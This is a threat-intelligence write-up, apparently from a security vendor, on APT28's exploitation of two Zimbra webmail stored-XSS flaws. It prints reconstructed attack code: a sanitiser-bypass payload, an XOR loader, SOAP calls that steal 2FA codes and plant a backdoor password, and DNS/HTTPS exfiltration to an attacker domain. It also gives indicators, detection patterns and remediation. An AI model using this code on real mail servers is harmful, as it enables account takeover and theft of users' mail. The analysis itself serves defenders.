Email Exploit No Click Required

How APT28 Turned Email Formatting Into a Weapon

How APT28 Turned Email Formatting Into a Weapon
Imagine receiving an email at work. You don't click any links. You don't open any attachments. You just read it — and that's enough for an attacker to steal every email you've sent or received in the last three months, along with your password and security codes. That's what's happening right now to organisations running Zimbra, a popular business email platform.

Executive Summary

Zimbra Collaboration Suite (ZCS) is one of the most widely used business email platforms in the world — serving government agencies, universities, and companies across every continent. Two security flaws in its webmail interface have been turned by Russian military intelligence into an attack that steals everything from your inbox — just by sending you an email. Here is what happens when the attack succeeds:

  • You just have to see it — Simply viewing the email in your browser is enough. You don't need to click anything.
  • Everything is stolen — Your login session, your passwords, even your two-factor authentication backup codes (the emergency codes you use when your phone is unavailable)
  • Three months of email downloaded — The attacker silently downloads your entire email history while your browser tab stays open
  • A secret back door is installed — The attacker creates a hidden password that keeps working even if you change your main password
  • Remote access turned on — A setting is changed that lets the attacker read your email from any device, without needing the website
  • Data leaves through two hidden routes — making it significantly harder for your IT team to detect
  • Russian military intelligence is behind it — A hacking group linked to Russia's GRU is actively using this attack against government targets
  • Over 10,500 organisations are still vulnerable — almost a year after the fix was made available

The Vulnerabilities at a Glance

In June 2025, Zimbra's developers quietly patched a cross-site scripting (XSS — a type of attack that injects hidden code into web pages) flaw tracked as CVE-2025-48700. Five months later, a second related vulnerability — CVE-2025-66376 — was fixed in the November 2025 patch cycle. Both share the same root cause: Zimbra's email security filter doesn't understand the formatting code inside emails.

CVE-2025-48700 CVE-2025-66376
Type Stored XSS Stored XSS
CVSS 3.1 6.1 (Medium) 7.2 (High)
Vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Auth Required None None
User Interaction View email (UI:R) None (UI:N)
Affected Versions ZCS 8.8.15, 9.0, 10.0, 10.1 ZCS 10.0.0–10.0.17, 10.1.0–10.1.12
Patched In June 2025 10.0.18 / 10.1.13 (Nov 2025)
CISA KEV Added April 20, 2026 March 18, 2026
EPSS — 0.288 (96th percentile)
Critical detail: CVE-2025-66376 is rated UI:N (no user interaction) in its CVSS vector. The email doesn't even need to be "opened" — the preview pane in Classic UI renders the HTML, which is enough to trigger the exploit. Simply selecting the email in your inbox fires the payload.

Root Cause: The Sanitiser That Couldn't Read CSS

What this means in plain terms: Think of it like a mail room security guard. Every letter that arrives gets inspected — the guard checks for suspicious packages, weapons, anything obviously dangerous. But the guard has a blind spot: decorative wrapping paper. The guard is trained to allow it because it's needed for formatting. The problem is that attackers have figured out how to hide weapons inside the wrapping paper — and the guard never learned to look there.

When Zimbra Classic UI renders an incoming HTML email, the content passes through AntiSamy (the security filter that checks incoming emails for dangerous content) — an OWASP HTML sanitisation library. Its job is to strip dangerous elements (<script>, <iframe>, event handlers) while preserving legitimate formatting. The problem is what AntiSamy doesn't do.

The Blind Spot

AntiSamy operates on the HTML DOM — it parses tags and attributes, walks the tree, and removes anything matching its blocklist. But <style> tags are explicitly permitted because they're needed for email formatting (fonts, colours, layouts).

Here's the critical flaw: AntiSamy treats the content inside <style> tags as opaque text. It does not construct an Abstract Syntax Tree (AST) of the CSS rules. It cannot parse, inspect, or filter CSS directives like @import or url().

This means the following passes through the sanitiser untouched:

// Malicious email HTML — passes AntiSamy unmodified
<style>
  @import url('https://attacker.com/stage1.css');
</style>

When the browser renders this email, its CSS parser interprets the @import as a legitimate instruction to fetch an external stylesheet — and the attacker's payload is loaded into the page context.

CVE-2025-48700: Crafted Tag Structures

The first vulnerability exploits insufficient sanitisation of crafted tag structures and attribute values that include an @import directive. The bypass involves malformed HTML that confuses the sanitiser's regex-based filters — allowing @import directives to survive within attribute contexts and reconstructed tag structures. This affects all Zimbra versions from 8.8.15 onward, including the legacy 9.0 branch.

CVE-2025-66376: The AntiSamy Reconstruction Attack

The second vulnerability is more sophisticated. Security researchers' analysis of Operation GhostMail revealed the exact bypass technique:

  1. Malformed tag injection — the attacker embeds @import directives within HTML tag names themselves
  2. HTML comment insertion — comments are placed mid-tag to disrupt regex-based pattern matching
  3. AntiSamy reconstruction — when AntiSamy "fixes" the broken HTML, it inadvertently assembles a valid attack vector
// What AntiSamy reconstructs from the malformed input
<svg/onload=eval(atob('PAYLOAD_BASE64'))>

The sanitiser's attempt to repair malformed markup actually creates the exploit. Secondary decoy elements — broken <script> and <style> tags with @import noise — further distract signature-based filters.

Why only Classic UI? Zimbra's Modern UI uses a different rendering pipeline with separate sanitisation logic. The Classic UI's dependence on the older AntiSamy-based sanitiser — without a dedicated CSS parsing phase — is what makes it uniquely vulnerable. The Modern UI is not confirmed affected by either CVE.

The Exploit Chain: From Email to Full Compromise

The following is based on published threat intelligence research into Operation GhostMail. This is not theoretical — this is what was observed in the wild against Ukrainian government targets.

// Full exploit chain — observed in Operation GhostMail [STAGE 0] Delivery Phishing email — no attachments, no links, no macros. Entire payload in HTML body. [STAGE 1] CSS @import Bypass Malformed tags → AntiSamy reconstructs → <svg/onload=eval(atob(...))> executes [STAGE 2] Payload Decode atob() → XOR decrypt (key: "twichcba5e") → inject into top document [STAGE 3] Session Hijack Steals ZMBAuthToken + CSRF token → 9 parallel SOAP API harvesting operations [STAGE 4] Exfiltration HTTPS channel (bulk data) + DNS channel (stealthy C2) → 90-day mailbox archive [STAGE 5] Persistence App password "ZimbraWeb" created + IMAP enabled + 2FA codes stolen = months of access

Stage 0: Delivery

The attacker sends a normal-looking email. That's it. There's nothing suspicious about it — no attachments, no links to click. The weapon is invisible, hidden in the email's formatting code.

The attacker sends a phishing email from a compromised account. In the documented case, a compromised student email account at a naval academy was used to email the Ukrainian State Hydrology Agency. The email looks mundane — an internship inquiry, a routine request. There are no attachments, no links, no macros. The entire attack lives inside the HTML body of the email.

Stage 1: JavaScript Loader

Hidden inside the email's formatting code is a small program. When your browser displays the email, this program runs silently — you see nothing unusual.

Embedded within the malformed HTML/CSS structure, the first-stage payload executes when the browser renders the email:

  • Checks for prior execution using a DOM element ID (zmb_pl_v3_) to avoid re-running
  • Decodes a Base64-encoded payload via atob()
  • Applies XOR decryption with the hardcoded key twichcba5e
  • Injects the decrypted script into the top-level document to escape any iframe sandbox
// STAGE 1: SANITIZER BYPASS & XOR PAYLOAD DECODE // What the attacker embeds in the email HTML body: <div style="display:none"> <style></scr@import ...<!--@import--><s>@import;vg/onlo@import ↑ Malformed tags + @import noise → AntiSamy reconstructs: <svg/onload=eval(atob(...))> // Stage 1 loader — decoded from the reconstructed SVG onload: (function(){ const A = "zmb_pl_v3_"; // re-execution guard if (window.top.document.getElementById(A)) return; const B = window.top.document.createElement("script"); B.id = A; B.textContent = ((A,B) => { // XOR decryptor const E = atob(A); // Base64 decode let F = ""; for(let i = 0; i < E.length; i++) F += String.fromCharCode( E.charCodeAt(i) ^ B.charCodeAt(i % B.length) // XOR with key ); return F; })("<Stage-2 base64 payload>", "twichcba5e"); // hardcoded key window.top.document.body.appendChild(B); // escape iframe sandbox })(); The Stage 1 loader: AntiSamy reconstructs a valid <svg/onload> from malformed HTML, which decodes and XOR-decrypts the Stage 2 stealer payload. Source: Published threat intelligence

Stage 2: Session Establishment

The hidden program immediately grabs your login session — the digital key that proves you're logged in — and copies it to the attacker.

The decoded "Browser Stealer" script generates a unique 12-character session token, establishes C2 communication with zimbrasoft[.]com[.]ua, reads the victim's ZMBAuthToken session cookie, and extracts the CSRF token (a security code that verifies requests are legitimate) from localStorage. With these two values, the attacker can make authenticated Zimbra SOAP API (the internal commands Zimbra uses to manage accounts) calls that are indistinguishable from legitimate webmail activity.

Stage 3: Nine Parallel Harvest Operations

Using your stolen session, the attacker's code silently runs nine operations at once — like a burglar who simultaneously copies your keys, reads your diary, steals your spare key, changes your locks, and photographs every room.

The payload launches nine simultaneous data collection functions, each wrapped in try/catch for fault isolation:

# Function SOAP / Method What It Steals
1 gather_email GetIdentitiesRequest Email addresses and aliases
2 gather_environment GetInfoRequest Full server configuration dump
3 gather_2fa_codes GetScratchCodesRequest Emergency 2FA recovery codes
4 gather_app_password CreateAppSpecificPasswordRequest Creates persistent password "ZimbraWeb"
5 gather_device_status GetDeviceStatusRequest ActiveSync mobile device list
6 gather_oauth_consumers GetOAuthConsumersRequest Authorised third-party applications
7 gather_autocomplete_password DOM injection Triggers browser password manager autofill
8 enable_mail_protocols ModifyPrefsRequest Silently enables IMAP access
9 sendArchives /home/~/?fmt=tgz Downloads 90 days of email as .tgz archives
// STAGE 3: SOAP API WRAPPER — AUTHENTICATED WITH STOLEN TOKENS const r = async (t, e) => { const n = await fetch("/service/soap/" + t, { method: "POST", headers: { "Content-Type": "application/soap+xml", "X-Zimbra-Csrf-Token": a }, // stolen from localStorage body: JSON.stringify({ Body: { [t]: e } }) }); }; // 9 parallel operations using this wrapper — the critical ones: r("GetScratchCodesRequest", {}); // steal 2FA backup codes r("CreateAppSpecificPasswordRequest", // create backdoor password { app: "ZimbraWeb" }); // survives password changes r("ModifyPrefsRequest", // silently enable IMAP { _attrs: { zimbraPrefImapEnabled: "TRUE" } }); fetch("/home/~/?fmt=tgz&query=..."); // download 90 days of email The SOAP API wrapper uses stolen CSRF tokens to make authenticated requests indistinguishable from legitimate webmail activity. Three of the nine operations create persistent backdoors. Source: Published threat intelligence
Operations #4 and #8 are the persistence anchors. CreateAppSpecificPasswordRequest mints a new application password that persists independently of the user's main credentials and 2FA. Even if the user changes their password later, this app password remains valid. ModifyPrefsRequest silently enables IMAP, giving the attacker a permanent alternative access channel that doesn't require the web UI at all.

Stage 4: Dual-Channel Exfiltration

The stolen data is smuggled out through two separate channels — one for large files (your emails), another hidden inside normal internet traffic that's nearly impossible to detect.

Stolen data leaves the victim's browser through two parallel channels:

HTTPS Channel (bulk data)
  POST /v/d → X-Filename header → structured JSON blobs (credentials, configs)
  POST /v/p → beacon / status updates
  Streaming for archives (modern browsers) | 500MB buffer (legacy)

DNS Channel (stealthy C2)
  RFC 4648 Base32 (a method of encoding data into text characters) encoding → 60-character segments
  Format: d-<token>.<key>.<base32_chunk>.i.zimbrasoft[.]com[.]ua
  // Bypasses most network security monitoring
// STAGE 4: DUAL-CHANNEL EXFILTRATION — DNS + HTTPS DNS CHANNEL — stealthy, bypasses most monitoring const n = t => { // Base32 encoder const e = (new TextEncoder).encode(t); n += "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"[parseInt(a.substr(t,5), 2)]; }; let s = "d-" + token; // session prefix for (let a = 0; a < e.length; a += 60) // 60-char chunks o.push(t + "." + e.substr(a, 60)); (new Image).src = "https://"+s+".i."+e+"/pixel.gif"; // fire as DNS query → d-a7k3m9x2p1q4.csrf.GEZDGNBVGY3TQOJQ.i.zimbrasoft[.]com[.]ua HTTPS CHANNEL — bulk data (emails, configs, archives) const l = async (a, n) => { const s = new Blob([JSON.stringify(a)], {type: "application/json"}); await fetch("https://js-"+t+".i."+e+"/v/d", { method: "POST", headers: { "X-Filename": n }, // structured by data type }); // 90-day mailbox sweep: for (let o = 0; o < 90; o++) fetch("/home/~/?fmt=tgz&query=date:-"+o) // Checkpoint: localStorage["zd_comp_" + date] = "true" → resumes on tab reopen Dual-channel exfiltration: DNS queries for stealthy token/status exfil, HTTPS POST for bulk data. The 90-day mailbox sweep uses localStorage checkpoints to resume if the tab is closed and reopened. Source: Published threat intelligence

The email archive exfiltration sweeps 90 days of mailbox history, looping day by day. Checkpoint tracking via localStorage keys (zd_comp_YYYY-MM-DD) means the download resumes if the victim closes and reopens the tab.

Stage 5: Persistence

After that single email, the attacker has four different ways back into your account — and most of them survive even if you change your password.

After the initial compromise, the attacker has four independent persistence mechanisms:

1
Stolen ZMBAuthToken
Valid for up to 90 days. Bypasses 2FA entirely. The attacker is the user.
2
App password "ZimbraWeb"
Survives password changes. Persists independently of main credentials and 2FA.
3
IMAP silently enabled
IMAP (a protocol that lets email programs like Outlook connect to your mailbox) is turned on — giving full mailbox access from any email client. No web UI needed.
4
Stolen 2FA backup codes
Can re-authenticate if tokens expire. Full cycle of persistent access.
A single email open can give the attacker months of uninterrupted access to the victim's mailbox, contacts, and account settings.

Attribution: APT28 and the SpyPress Lineage

Security researchers traced this attack campaign — which they named 'Operation GhostMail' — back to APT28, a hacking group that is part of Russia's military intelligence service (the GRU). APT28 is also known by other names including 'Fancy Bear'. The attribution is based on the strong resemblance between this attack's code and tools APT28 has used in previous operations.

The campaign was reported to Ukraine's national cybersecurity response team, which assigned tracking identifiers UAC-0233 and UAC-0250.

Timeline

Date Event
Jun 2025Zimbra patches CVE-2025-48700
Sep 2025UAC-0233 already exploiting both flaws in the wild
Nov 2025Zimbra patches CVE-2025-66376 (ZCS 10.0.18 / 10.1.13)
Jan 20, 2026C2 domain zimbrasoft[.]com[.]ua registered
Jan 22, 2026First observed Operation GhostMail attack against Ukrainian target
Mar 18, 2026CISA adds CVE-2025-66376 to KEV catalog
Mar 19, 2026Operation GhostMail research published
Apr 20, 2026CISA adds CVE-2025-48700 to KEV catalog

Operation RoundPress: The Precursor (2023–2025)

Operation GhostMail didn't emerge from nowhere. Published research on Operation RoundPress, published in May 2025, documented APT28's systematic exploitation of webmail platforms — starting with Roundcube XSS in 2023, expanding to Horde, MDaemon (zero-day), and Zimbra in 2024, and deploying SpyPress variants across all four platforms.

Operation GhostMail's payload is a direct evolution of SpyPress.ZIMBRA — adding SOAP API abuse for 2FA codes, app passwords, device enumeration, and the dual DNS/HTTPS exfiltration channel.


Exposure: 10,500+ Servers Still Vulnerable

As of April 2026, Security scanning organisations report over 10,500 internet-facing Zimbra servers running vulnerable versions — nearly a year after the first patch was released. To put this in perspective: each of these servers typically handles email for an entire organisation — meaning hundreds of thousands of individual mailboxes are at risk.

Region Exposed Servers
Asia3,794
Europe3,793
Other regions~2,900+
Total10,500+

These include hundreds of government agencies and thousands of businesses. Zimbra webmail is internet-facing by design, Classic UI is often the default on older deployments, and ZCS 8.8.15 — still widely deployed — has reached end-of-life but remains affected.


 

Indicators of Compromise

The following indicators are the digital fingerprints of this attack. If your security team finds any of these on your network, it means this attack has either been attempted or has succeeded against your organisation.

Type Value Context
C2 Domainzimbrasoft[.]com[.]uaRegistered 2026-01-20, impersonates Zimbra
C2 Patternjs-[a-z0-9]{12}.i.zimbrasoft[.]com[.]uaPer-session generated subdomains
C2 Subdomainjs-l1wt597cimk[.]i[.]zimbrasoft[.]com[.]uaObserved in attacks
C2 Subdomainjs-26tik3egye4[.]i[.]zimbrasoft[.]com[.]uaObserved in attacks
Email Hashc010f64080b0b0997b362a8e6b9c618ePhishing email (MD5)
DNS Exfild-[a-z0-9]{12}.<key>.<base32>.i.*Exfiltration DNS query format
SpyPress SHA-141FE2EFB38E0C7DD10E6009A68BD26687D6DBF4COperation RoundPress
SpyPress SHA-1AD3C590D1C0963D62702445E8108DB025EEBEC70Operation RoundPress
App PasswordZimbraWebCreated by Stage 3 harvester
PreferencezimbraPrefImapEnabled: TRUEIMAP silently enabled

Behavioural Indicators

Beyond specific fingerprints, here are the suspicious activities that indicate this attack is happening. Think of them as unusual behaviours — like finding your front door unlocked when you know you locked it.

On the Zimbra server — unexpected GetScratchCodesRequest SOAP calls, CreateAppSpecificPasswordRequest creating passwords named ZimbraWeb, ModifyPrefsRequest enabling IMAP, bulk /home/~/?fmt=tgz exports across sequential date ranges, and rapid-fire GetIdentitiesRequest + GetDeviceStatusRequest + GetOAuthConsumersRequest from a single session.

On network monitoring — DNS queries matching d-[a-z0-9]{12}\.[a-z]+\.[a-z0-9]+\.i\., HTTPS POST requests with X-Filename headers to unfamiliar endpoints, and outbound connections to .zimbrasoft.com.ua.

On endpoints — localStorage keys matching zd_comp_YYYY-MM-DD (exfil checkpoint tracking) and DOM elements with ID prefix zmb_pl_v3_ (payload re-execution guard).

MITRE ATT&CK Mapping

Tactic Technique Detail
Resource DevelopmentT1583.001C2 domain acquisition
Resource DevelopmentT1586.002Compromised student email account
Initial AccessT1566.001Spearphishing with embedded exploit
ExecutionT1059.007JavaScript via XSS
ExecutionT1203CVE-2025-66376 / CVE-2025-48700
PersistenceT1098.001App-specific password creation
Defense EvasionT1027XOR + Base64 + @import obfuscation
Credential AccessT1539Session cookie theft (ZMBAuthToken)
Credential AccessT11112FA backup code theft
Credential AccessT1555.003Browser password autofill abuse
CollectionT1114.002Remote email collection (90-day sweep)
ExfiltrationT1041HTTPS exfil channel
ExfiltrationT1071.004DNS exfil channel

Remediation

Patch Now

Deployment Patch To Source
ZCS 10.1.x10.1.13 or laterRelease Notes
ZCS 10.0.x10.0.18 or laterRelease Notes
ZCS 9.0Consult Zimbra advisoriesSecurity Center
ZCS 8.8.15EOL — consider migrationSecurity Center

The fix updates Zimbra's email security filter (AntiSamy) so that it now actually inspects the formatting code inside emails — the blind spot that attackers were exploiting. Previously, this formatting code was allowed through without any inspection. Technically, it upgrades AntiSamy to version 1.7.8 and introduces a dedicated CSS parsing phase that strips all @import declarations, removes external url() functions, and eliminates legacy expression() properties.

Immediate Mitigations

  1. Disable Classic UI — force all users to Modern UI if possible
  2. Block known C2 domains — add zimbrasoft[.]com[.]ua and the subdomain pattern to DNS blocklists
  3. Disable unused protocols — turn off IMAP/POP3 at the admin level if not required
  4. Audit app-specific passwords — search for any named ZimbraWeb
  5. Review IMAP enablement changes — check for accounts where zimbraPrefImapEnabled was recently set to TRUE
  6. Monitor SOAP API logs — alert on GetScratchCodesRequest and CreateAppSpecificPasswordRequest

Assume Compromise If Unpatched

If your organisation's Zimbra email server has been accessible from the internet without this update applied since before June 2025, you should treat it as already compromised. Don't just apply the update — investigate whether attackers have already been inside.
  1. Rotate all user session tokens (force re-authentication)
  2. Revoke all app-specific passwords
  3. Reset 2FA enrolment for all users
  4. Audit mailbox access logs for unusual geographic patterns
  5. Check for unauthorised mail forwarding rules
  6. Review export logs for /home/~/?fmt=tgz access

Conclusion

These vulnerabilities show how a flaw officially rated as 'medium severity' can be turned into a devastating real-world attack. The severity ratings — designed for technical audiences — drastically understate the actual danger. In practice, this means: open one email, lose everything. The CVSS scores (6.1 and 7.2) fail to capture the real-world impact when chained with Zimbra's SOAP API — which gives authenticated sessions access to everything from 2FA (two-factor authentication — the extra security code you enter after your password) codes to bulk email export.

The exploit requires no attachments, no links, no user clicks. The entire attack chain lives inside the HTML body of a single email. And the resulting access — 90 days of email history, persistent credentials, 2FA bypass — is devastating for any organisation.

APT28's progression from Roundcube (2023) through multiple webmail platforms (2024) to sophisticated Zimbra SOAP API abuse (2025–2026) shows a threat actor systematically investing in webmail exploitation as a primary intelligence collection method. The tooling is mature, the tradecraft is refined, and the target surface is massive.

Patch. Verify. Hunt.


Disclosure

This analysis is based entirely on publicly available research and advisories. No vulnerable systems were accessed during its preparation. All technical details are sourced from published threat intelligence research, NVD, CISA KEV, and Zimbra's own security advisories.

This writeup is published to raise awareness of a high-impact vulnerability class that turns a routine email into a complete account takeover — with no user interaction beyond viewing the message. Organisations running Zimbra Classic UI should treat this as an urgent priority.

TechOwl SHIELD
Continuous Threat Intelligence & Attack Surface Monitoring

Vulnerability Assessment

Deep technical analysis of vulnerabilities affecting your infrastructure — beyond CVSS scores to real-world exploitability and impact.

Attack Surface Intelligence

Passive mapping of your external presence — every exposed service, endpoint, and piece of infrastructure visible to the public internet.

Threat Hunting

Proactive detection of compromise indicators, APT activity, and post-exploitation artifacts across your email and identity infrastructure.

Dark Web Monitoring

Continuous surveillance of stolen credential markets, threat actor forums, and data leak channels. Know when you're being targeted before it becomes an incident.

© 2026 TechOwl SHIELD. All rights reserved.